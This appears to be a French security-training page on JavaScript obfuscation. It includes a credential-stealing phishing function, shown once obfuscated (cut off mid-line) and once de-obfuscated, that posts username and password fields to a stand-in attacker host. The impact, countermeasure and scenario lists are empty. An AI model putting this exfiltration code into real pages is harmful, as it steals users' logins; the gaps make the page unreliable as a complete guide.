L'obfuscation en JavaScript consiste à rendre le code source d'une application difficile à comprendre et à analyser pour les humains. Cela peut être fait pour masquer des activités malveillantes, protéger les secrets de l'application ou simplement rendre le code moins lisible. Il existe plusieurs méthodes d'obfuscation en JavaScript, telles que le renommage de variables, l'utilisation de fonctions anonymes ou d'évaluations de code pour cacher du code, ou encore le chiffrement du code.
Pour exploiter cette vulnérabilité, il est nécessaire d’avoir accès à une application comportant un script JavaScript obfusqué.
Naviguer sur l’application afin d’identifier le ou les scripts JavaScript qui sont potentiellement obfusqués et analyser les fonctions qui génèrent l'obfuscation.
Tester les différentes méthodes d'obfuscation sur du code JavaScript simple, comme une fonction de calcul de somme, pour comprendre comment elles fonctionnent et quelles sont leurs limites.
Une exploitation réussie de ce type de vulnérabilité peut permettre :
Les contre-mesures suivantes peuvent être mises en œuvre :
Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :
Voici un exemple de code JavaScript contenant un script de phishing obfusqué utilisant la méthode de renommage de variables :
function _0x1234() { let _0x5678 = document.getElementById("username").value; let _0x9abc = document.getElementById("password").value; let _0xdef0 = { username: _0x5678, password: _0x9abc }; let _0x4567 = new XMLHttpRequest(); _0x4567.open("POST", "https://attacker.com/steal_credentials"); _0x4567
Voici ce même code JavaScript après dé-obfuscation :
function sendCredentials() { let username = document.getElementById("username").value; let password = document.getElementById("password").value; let data = { username: username, password: password }; let xhr = new XMLHttpRequest(); xhr.open("POST", "https://attacker.com/steal_credentials"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); }
URL :